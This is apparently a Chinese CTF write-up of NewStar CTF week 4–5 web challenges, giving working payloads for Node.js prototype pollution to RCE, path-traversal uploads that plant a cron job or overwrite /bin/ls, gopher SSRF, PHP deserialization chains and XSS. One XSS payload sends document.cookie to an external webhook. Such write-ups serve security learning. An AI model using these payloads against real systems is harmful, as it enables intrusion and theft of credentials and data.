前言
主要合集了自己认为把握度还不够的,比较重要的题型,这些题目大多数不会单独作为知识点呈现,但也需要加深印象
Week4
Web
ezpollute
考察知识点:Nodejs的原型链污染
参考文章:Prototype Pollution to RCE | HackTricks
污染点在merge.js,index.js的/config路由下,初步思路是要找到可污染的变量参数,构造RCE反弹shell之类的,其中导入了模块child_process;至于merge.js虽然ban了__proto__ ,但是可以用”constructor”: {“prototype”的方式去绕过
通过sh文件我们发现环境变量中写了flag,同时又将flag写入了根目录下
由于污染了 constructor.prototype
,这会影响到所有通过这个构造函数创建的对象的原型链,众所周知,要想执行代码,你得需要环境变量,而这里我们利用环境变量去污染env对象,NODE_OPTIONS
是一个特殊的环境变量,可以用来为 Node.js 设置启动时的参数。设置 --require /proc/self/environ
来强制 Node.js 在启动时加载当前进程的环境变量文件。这样我们就可以利用这个文件中的环境变量来执行任意代码
1 2 3 4 5 6 7 8 9 10 11
| {"x":"1","y":"1", "textOptions": { "constructor": { "prototype": { "NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL": "console.log(require(\"child_process\").execSync(\"cat /flag > /app/static/index.html\").toString())//" } } } } }
|
由于直接修改了环境变量对象 env
,所以此时flag也会被覆盖,但在容器启动时,已经写进了flag文件中
通过本地测试,找到了源路径,由于没有回显我们将flag文件内容覆盖写进index.html中
隐藏的密码
考察知识点:SpringBoot框架下的信息泄露、Spring Boot Fat Jar 写文件到 RCE 、任意文件上传
参考文章:Spring Boot 相关漏洞学习汇总、Spring Boot Fat Jar 任意写文件漏洞到稳定 RCE 利用技巧
题目提示密码可能有泄露,那应该是去找后门文件啥的
Spring Boot有很多信息泄露的种类,这里我们要找到密码,在/actuator/env路由下找到一段*
而这段**正是我们所需要的
这里试了很多感觉因该是不出网的,因为选择用/actuator/env下发json包到自己的vps服务器上是行不通的
因此调用 org.springframework.boot
Mbean
1
| 123456qWertAsdFgZxCvB!@#
|
flag就在根目录下,但是这里只能执行ls命令
我们通过写计划任务的形式将flag读出成文件名
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| POST /upload HTTP/1.1 Host: 8.147.129.74:34860 Content-Length: 226 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywn3ItH1ACTT0L6Bc Accept: */* Origin: http://8.147.129.74:34860 Referer: http://8.147.129.74:34860/ccd14bfa-33a9-328e-85ad-f5bb028f4d4c Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Connection: keep-alive
------WebKitFormBoundarywn3ItH1ACTT0L6Bc Content-Disposition: form-data; name="file"; filename="../etc/cron.d/getflag" Content-Type: application/octet-stream
*/1 * * * * root cat /flag | xargs -I {} touch /{} ------WebKitFormBoundarywn3ItH1ACTT0L6Bc--
|
另一种做法是Spring Boot Fat Jar 写文件漏洞到稳定 RCE 的探索,不过我用这个方法没复现出来,是蔡师傅想到的
上传文件时改路径,覆盖原charsets.jar
1
| /../usr/local/openjdk-8/jre/lib/
|
然后通过改字集的请求方式触发漏洞
1 2
| GET /back.html HTTP/1.1 Accept: text/html;charset=GBK
|
可以根据自己的情况更改命令
PangBai 过家家(4)
考察知识点:Go语言下的SSTI、SSRF
/eye路由下存在ssti模板注入
/favorite路由用PUT请求下判断是否为本地访问,其次通过JWT判断是否为papa用户,Papa 用户可以更新 SignaturePath 配置
我们可以先从/eye路由下获取JWT密钥
1
| y3FQMoLOY8WM85U8JFZVCaMdwnInZJsXq4kgq2j1gNKFsPZoCMYUXiYEnV5E0Fdr
|
还有一点很重要,因为r.RemoteAddr
是直接连接到服务器的客户端 IP 地址,它不会被 HTTP 头影响。即使设置了 X-Forwarded-For: 127.0.0.1
,服务器仍然会使用实际的连接 IP,因此我们需要去伪造本地访问;同时在main.go中,所提供的curl不支持参数使用,以至于我们无法直接进行PUT请求那么ssrf的Gopher协议可以帮助我们这一点
1 2 3 4 5 6 7
| PUT /favorite HTTP/1.1 Host: localhost:8000 Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzAzMDc4MDAsInVzZXIiOiJQYXBhIn0.2pMB6sDtYKB4TKfpEaYT9upGD68nFYDEbE8XsIZ1910 Content-Type: text/plain Content-Length: 18
/proc/self/environ
|
1
| PUT%20%2Ffavorite%20HTTP%2F1%2E1%0D%0AHost%3A%20localhost%3A8000%0D%0AContent%2DType%3A%20text%2Fplain%0D%0ACookie%3A%20token%3DeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9%2EeyJleHAiOjE3MzAzMDk3NDUsInVzZXIiOiJQYXBhIn0%2E0Qicg9zGj3Cr%2DqR1Mbj%5F%2DPMFYQJg5pZ0uDIv2De0Ie4%0D%0AContent%2DLength%3A%2018%0D%0A%0D%0A%2Fproc%2Fself%2Fenviron
|
1
| gopher://localhost:8000/_PUT%20%2Ffavorite%20HTTP%2F1%2E1%0D%0AHost%3A%20localhost%3A8000%0D%0AContent%2DType%3A%20text%2Fplain%0D%0ACookie%3A%20token%3DeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9%2EeyJleHAiOjE3MzAzMDk3NDUsInVzZXIiOiJQYXBhIn0%2E0Qicg9zGj3Cr%2DqR1Mbj%5F%2DPMFYQJg5pZ0uDIv2De0Ie4%0D%0AContent%2DLength%3A%2018%0D%0A%0D%0A%2Fproc%2Fself%2Fenviron
|
1
| gopher%3A%2F%2Flocalhost%3A8000%2F%5FPUT%2520%252Ffavorite%2520HTTP%252F1%252E1%250D%250AHost%253A%2520localhost%253A8000%250D%250AContent%252DType%253A%2520text%252Fplain%250D%250ACookie%253A%2520token%253DeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9%252EeyJleHAiOjE3MzAzMDk3NDUsInVzZXIiOiJQYXBhIn0%252E0Qicg9zGj3Cr%252DqR1Mbj%255F%252DPMFYQJg5pZ0uDIv2De0Ie4%250D%250AContent%252DLength%253A%252018%250D%250A%250D%250A%252Fproc%252Fself%252Fenviron
|
很重要的一点,这里要用CyberChef双重URL全编码第一层url是我们传输本身,第二层是curl本身(怪说不得每次都回显error)
以前做过类似的有师傅也用双重URL,但当时没太在意,这一次算是记忆犹新了
Week5
Web
PangBai 过家家(5)
api.ts
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| import Router from "koa-router"; import { Memory } from "./letter"; import { ensureContentType } from "./mw"; import { v4 as uuid } from "uuid"; import visit from "./bot";
const api = new Router({ prefix: '/api' });
interface SubmitRequest { title: string content: string }
api.post('/send', ensureContentType('application/json'), async (ctx, next) => { const { title, content } = <Partial<SubmitRequest>>ctx.request.body; if (typeof title !== 'string' || typeof content !== 'string') { return ctx.throwJson(400, '缺失标题或内容'); } if (title.trim() === '') { return ctx.throwJson(400, '标题不能为空'); } if (title.length > 50) { return ctx.throwJson(400, '标题太长了呢,最多只能 50 个字哦 >_<'); } if (content.length > 500) { return ctx.throwJson(400, '内容太长了呢,超过 500 字 PangBai 可能读不过来呢'); } let id = uuid() if (Memory.has(id)) { return ctx.throwJson(500, '奇怪,这份信件已经存在了呢'); } Memory.set(id, { title, content }); return ctx.body = { id }; } );
api.post('/call', ensureContentType('application/json'), async (ctx, next) => { const { id } = <Partial<{ id: string }>>ctx.request.body; if (typeof id !== 'string') { return ctx.throwJson(400, '这好像不是信件吧'); } if (!Memory.has(id)) { return ctx.throwJson(404, '这份信件并不存在呢'); } let url = `http://localhost:3000/box/${id}` let ret = await visit(url); if (!ret) { return ctx.throwJson(500, { success: ret, visit: url, error: 'PangBai 在阅读信件时似乎出了点问题呢' }); } return ctx.body = { success: ret, visit: url, message: 'PangBai 将会立即阅读这份信件' }; } )
export default api;
|
bot.ts
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| import puppeteer from 'puppeteer';
let id = 0;
async function _visit(url: string) { console.info(`[#${++id}] Received bot request`);
const browser = await puppeteer.launch({ headless: true, args: [ '--disable-gpu', "--no-sandbox", '--disable-dev-shm-usage' ] });
const page = await browser.newPage();
await page.setCookie({ name: 'FLAG', value: process.env['FLAG'] || 'flag{test_flag}', httpOnly: false, path: '/', domain: 'localhost:3000', sameSite: 'Strict' });
console.info(`[#${id}] Visiting ${url}`);
page.goto(url, { timeout: 3 * 1000 }).then(_ => { setTimeout(async () => { await page.close(); await browser.close(); console.info(`[#${id}] Visited`); }, 5 * 1000); }) }
export function visit(url: string) { return _visit(url).then(_ => true).catch(e => (console.error(e), false)); }
export default visit;
|
page.ts
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| import Router from 'koa-router' import { Memory, type Letter } from './letter'
const router = new Router()
router.get('/', async (ctx, next) => { await ctx.render('index', <TmplProps>{ page_title: 'PangBai 过家家 (5)', }) })
router.get('/send', async (ctx, next) => { await ctx.render('send', <TmplProps>{ page_title: 'PangBai 过家家 (5)', sub_title: '发信', }) })
const HINT_BOX = [ '就像是一场梦……' ]
router.get('/box', async (ctx, next) => { const letters: { id: string, title: string }[] = [] for (const [id, { title }] of Memory) { letters.push({ id, title }) } await ctx.render('box', <TmplProps>{ page_title: 'PangBai 过家家 (5)', sub_title: '信箱', letters: letters, hint_text: HINT_BOX[Math.floor(Math.random() * HINT_BOX.length)] }) })
const HINT_LETTERS = [ '愿此去,莫忘归', '相见时难别亦难,东风无力百花残', '此去经年,应是良辰好景虚设', '终有一天,人类一定能战胜崩坏!' ]
const html = (strings: TemplateStringsArray, ...values: any[]) => { return strings.reduce((acc, str, i) => acc + str + (values[i] || ''), '') } const TITLE_EMPTY = html`<span style="text-align: center; color: #d9cac5; display: inline-block; width: 100%; -moz-user-select: none; -webkit-user-select: none; user-select: none;">空空如也~</span>` const CONTENT_EMPTY = html`<span style="text-align: center; color: #d9cac5; display: grid; width: 100%; height: 100%; place-items: center; -moz-user-select: none; -webkit-user-select: none; user-select: none;"><span>空空如也~</span></span>`
function safe_html(str: string) { return str .replace(/<.*>/igm, '') .replace(/<\.*>/igm, '') .replace(/<.*>.*<\/.*>/igm, '') }
router.get('/box/:id', async (ctx, next) => { const letter = Memory.get(ctx.params['id']) await ctx.render('letter', <TmplProps>{ page_title: 'PangBai 过家家 (5)', sub_title: '查看信件', id: ctx.params['id'], hint_text: HINT_LETTERS[Math.floor(Math.random() * HINT_LETTERS.length)], data: letter ? { title: safe_html(letter.title), content: safe_html(letter.content) } : { title: TITLE_EMPTY, content: CONTENT_EMPTY }, error: letter ? null : '找不到该信件' }) })
export default router
|
最近xss似乎是一大热点题目,连续好几次碰到,同样的是机器人去访问我们的信件,我们要设法注入xss代码,截取机器人的cookie,flag就在其中
page.ts中会对我们的输入进行清理,对象是被<>
元素包裹的内容,<></>
也在内
首先我想的是通过onerror自动跳转,将cookie打到webhook上,但是这样每次发送完信件后,pangbai还没看就会把题目环境的cookie给打过去
1
| <img src="x" onerror="location.href='https://eo3fw01pifuy7ak.m.pipedream.net/?cookie='+document.cookie"
|
后面我又通过点进信件先手动暂停因为location.href
造成的页面加载,然后再点击让pangbai读信件,按理来说该成功了,后面又发现Puppeteer库默认禁用自动跳转,所以这个payload就算是失效了(而且题目也是不出网的)
让我们再来看safe_html
这个过滤
1 2 3 4 5 6
| function safe_html(str: string) { return str .replace(/<.*>/igm, '') .replace(/<\.*>/igm, '') .replace(/<.*>.*<\/.*>/igm, '') }
|
1 2 3
| i 修饰符表示不区分大小写 g 修饰符表示全局匹配,即匹配字符串中的所有符合条件的部分 m 修饰符表示多行模式,而不是对整个字符串进行匹配
|
重点在于.
的匹配范围是单行字符(除了换行符);即便正则表达式设置了 m
修饰符,这个修饰符也只会影响 ^
和 $
因此我们的payload可以是这样
1 2 3
| <script >alert('xss')</script >
|
而现在在于如何回显,一开始我只想着让bot去看。当他浏览了信件便触发XSS,包括以前做的xss题目也是这样的,但这道题不同之处在于,让bot去写信件,从而触发xss(因为当我们发送信件时,会先触发xss弹窗;同时你可以看到源代码中给到了/send
路由,那我们就可以用fetch搞点事情了。所以说归根揭底还是对代码不太敏感,有时候代码审计会给你灵感)
1 2 3 4 5 6 7 8 9 10 11 12 13
| <script >fetch('/api/send', { method: 'POST', headers: { 'Accept': 'application/json', 'Content-Type': 'application/json' }, body: JSON.stringify({ title: "cookie", content: document.cookie }) })</script >
|
我当时就在想如果用onerror是否也可这样呢?毕竟可以弹窗,但是试验后并不行,一时半会儿也没搞明白,有思路的师傅欢迎评论区留言
1 2 3 4 5 6 7 8 9 10 11 12
| <img src="x" onerror="fetch('/api/send', { method: 'POST', headers: { 'Accept': 'application/json', 'Content-Type': 'application/json' }, body: JSON.stringify({ title: "cookie", content: document.cookie }) })" >
|
臭皮吹泡泡
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| <?php error_reporting(0); highlight_file(__FILE__);
class study { public $study;
public function __destruct() { if ($this->study == "happy") { echo ($this->study); } } } class ctf { public $ctf; public function __tostring() { if ($this->ctf === "phpinfo") { die("u can't do this!!!!!!!"); } ($this->ctf)(1); return "can can need"; } } class let_me { public $let_me; public $time; public function get_flag() { $runcode="<?php #".$this->let_me."?>"; $tmpfile="code.php"; try { file_put_contents($tmpfile,$runcode); echo ("we need more".$this->time); unlink($tmpfile); }catch (Exception $e){ return "no!"; }
} public function __destruct(){ echo "study ctf let me happy"; } }
class happy { public $sign_in;
public function __wakeup() { $str = "sign in ".$this->sign_in." here"; return $str; } }
$signin = $_GET['new_star[ctf']; if ($signin) { $signin = base64_decode($signin); unserialize($signin); }else{ echo "你是真正的CTF New Star 吗? 让我看看你的能力"; }
|
初步浏览,let_me
肯定是POP链的最后一环,其中file_put_contents($tmpfile,$runcode);
需要我们构造php代码将其写入code.php中
可以看到$runcode
有一个#
,我们进行一个简单的闭合即可,或者换行符,同时unlink($tmpfile);
会立马删除文件,我们需要通过$this->time
指向$ctf
得到sleep
的时间
因此这一部分可以这样构造
1 2 3 4
| $a = new let_me(); $a->let_me = "?> <?php phpinfo();"; $a->time = new ctf(); $a->time->ctf = "sleep";
|
而接下来就是调用这个get_flag()
函数,可以看到happy类中有__wakeup()
魔术方法,在反序列化以后立即执行,这里就是调用get_flag()
函数的点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php class study { public $study; } class ctf { public $ctf; } class let_me { public $let_me; public $time; }
class happy { public $sign_in; }
$a = new let_me(); $a->let_me = "\n system('cat /flag');"; $a->time = new ctf(); $a->time->ctf = "sleep"; $b = new happy(); $b->sign_in = new ctf(); $b->sign_in->ctf = array($a, "get_flag");
echo base64_encode(serialize($b)); ?>
|
对于array($a, "get_flag")
,这里是一个PHP回调数组,我们可以类比回调函数call_user_func()
,将在 $a
对象上调用名为 get_flag
的方法
在php传参中[
是非法的,会被替换成_
,然而php只会处理一次,在首次处理后不会继续处理随后的违规字符;因此payload
1
| new[star[ctf=Tzo1OiJoYXBweSI6MTp7czo3OiJzaWduX2luIjtPOjM6ImN0ZiI6MTp7czozOiJjdGYiO2E6Mjp7aTowO086NjoibGV0X21lIjoyOntzOjY6ImxldF9tZSI7czoyMjoiCiBzeXN0ZW0oJ2NhdCAvZmxhZycpOyI7czo0OiJ0aW1lIjtPOjM6ImN0ZiI6MTp7czozOiJjdGYiO3M6NToic2xlZXAiO319aToxO3M6ODoiZ2V0X2ZsYWciO319fQ==
|
臭皮的网站
F12后有一串base64字符串
1 2
| YWlvaHR0cD8gbmdpbng/IHJlYWRmaWxlPw== aiohttp? nginx? readfile?
|
搜索之后发现aiohttp
是一个Python的HTTP客户端/服务器框架,并存在目录遍历漏洞
aiohttp存在目录遍历漏洞(CVE-2024-23334).md)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| GET /static/../../../../../../app/app.py HTTP/1.1 Host: 127.0.0.1:64048 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Connection: keep-alive Cookie: Hm_lvt_8dcaf664827c0e8ae52287ebb2411aed=1717225330,1717228863,1717234006,1717417134 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 If-Modified-Since: Thu, 19 Sep 2024 04:34:35 GMT If-None-Match: "17f68b1f9ac4ce00-a59" Priority: u=0, i
|
读取源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128
| import os import uuid import secrets import random import string import base64 random.seed(uuid.getnode())
adminname = "admin"
def CreteKey(): key_bytes = secrets.token_bytes(32) key_str = base64.urlsafe_b64encode(key_bytes).decode('ascii') return key_str
def authenticate(username, password): if username == adminname and password ==''.join(random.choices(string.ascii_letters + string.digits, k=8)): return True else: return False
async def middleware(app, handler): async def middleware_handler(request): try: response = await handler(request) response.headers['Server'] = 'nginx/114.5.14' return response except web.HTTPNotFound: response = await handler_404(request) response.headers['Server'] = 'nginx/114.5.14' return response except Exception: response = await handler_500(request) response.headers['Server'] = 'nginx/114.5.14' return response
return middleware_handler
async def handler_404(request): return web.FileResponse('./template/404.html', status=404)
async def handler_500(request): return web.FileResponse('./template/500.html', status=500)
async def index(request): return web.FileResponse('./template/index.html')
async def login(request): data = await request.post() username = data['username'] password = data['password'] if authenticate(username, password): session = await get_session(request) session['user'] = 'admin' response = web.HTTPFound('/home') response.session = session return response else: return web.Response(text="账号或密码错误哦", status=200)
async def home(request): session = await get_session(request) user = session.get('user') if user == 'admin': return web.FileResponse('./template/home.html') else: return web.HTTPFound('/')
async def upload(request): session = await get_session(request) user = session.get('user') if user == 'admin': reader = await request.multipart() file = await reader.next() if file: filename = './static/' + file.filename with open(filename,'wb') as f: while True: chunk = await file.read_chunk() if not chunk: break f.write(chunk) return web.HTTPFound("/list") else: response = web.HTTPFound('/home') return response else: return web.HTTPFound('/')
async def ListFile(request): session = await get_session(request) user = session.get('user') command = "ls ./static" if user == 'admin': result = subprocess.run(command, shell=True, check=True, text=True, capture_output=True) files_list = result.stdout return web.Response(text="static目录下存在文件\n"+files_list) else: return web.HTTPFound('/')
async def init_app(): app = web.Application() app.router.add_static('/static/', './static', follow_symlinks=True) session_setup(app, EncryptedCookieStorage(secret_key=CreteKey())) app.middlewares.append(middleware) app.router.add_route('GET', '/', index) app.router.add_route('POST', '/', login) app.router.add_route('GET', '/home', home) app.router.add_route('POST', '/upload', upload) app.router.add_route('GET', '/list', ListFile) return app
web.run_app(init_app(), host='0.0.0.0', port=80)
|
代码审计可以发现
1
| random.seed(uuid.getnode())
|
uuid.getnode()
获取设备的唯一标识符(通常是MAC地址),random.seed()
用来设置随机数生成器的种子值。通过使用 uuid.getnode()
作为种子值,确保每次运行时,生成的随机数序列都是一致的。这意味着在相同设备上运行时,生成的随机值是可预测的
1 2 3 4 5
| def authenticate(username, password): if username == adminname and password ==''.join(random.choices(string.ascii_letters + string.digits, k=8)): return True else: return False
|
随机密码是基于设备的唯一标识符(通过 uuid.getnode()
获取)生成的,通过默认路径查看
1 2 3 4
| import random import string random.seed(0xb27cb7e39704) print(''.join(random.choices(string.ascii_letters + string.digits, k=8)))
|
由于不知道目录所在具体位置,这里不太好上马,因为可以任意上传文件,我最开始的思路是通过Linux计划任务将flag读出来,毕竟可以查看当前文件夹的所有文件;但是后来发现细节上你还是不知道当前所在目录位置,毕竟ls的只是当前文件夹下的文件
而后则是转向污染ls这个命令,我们都知道Linux中命令的本质其实就是文件,我们只需要污染一下ls文件就好了
先dir /
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| POST /upload HTTP/1.1 Host: 127.0.0.1:57956 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Content-Type: multipart/form-data; boundary=---------------------------29762909921472706861220687565 Content-Length: 284 Origin: http://127.0.0.1:57956 Connection: keep-alive Referer: http://127.0.0.1:57956/home Cookie: Hm_lvt_8dcaf664827c0e8ae52287ebb2411aed=1717225330,1717228863,1717234006,1717417134; AIOHTTP_SESSION="gAAAAABnNYL-QcIgo4QuiAmU5PIUQCEAWeNEg1XgwFmC8k8DSv6QohgiXdABiJi0S5Mrde5JwAb0qpp221xrEj0MGU_qFRH8RqUuD3EsMpiAyvGFjNyty2Kl8b6TvHS-QwR5WJGr1BFgQ0Uh2JqN2pi3yJlzI5dqdQ==" Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Priority: u=0, i
-----------------------------29762909921472706861220687565 Content-Disposition: form-data; name="file"; filename="../../../../../bin/ls" Content-Type: application/octet-stream
cat /a6c4304ad5938eaf0efb6cc3e53dc_flag -----------------------------29762909921472706861220687565--
|